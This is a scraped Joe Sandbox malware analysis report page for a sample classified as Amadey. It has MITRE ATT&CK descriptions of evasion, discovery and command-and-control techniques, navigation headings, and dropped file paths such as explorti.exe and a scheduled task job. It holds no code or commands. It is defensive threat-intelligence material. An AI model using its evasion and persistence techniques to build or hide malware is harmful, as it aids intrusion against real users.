Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report i52xoegJro.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe:Zone.Identifier

C:\Windows\Tasks\explorti.job

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
i52xoegJro.exe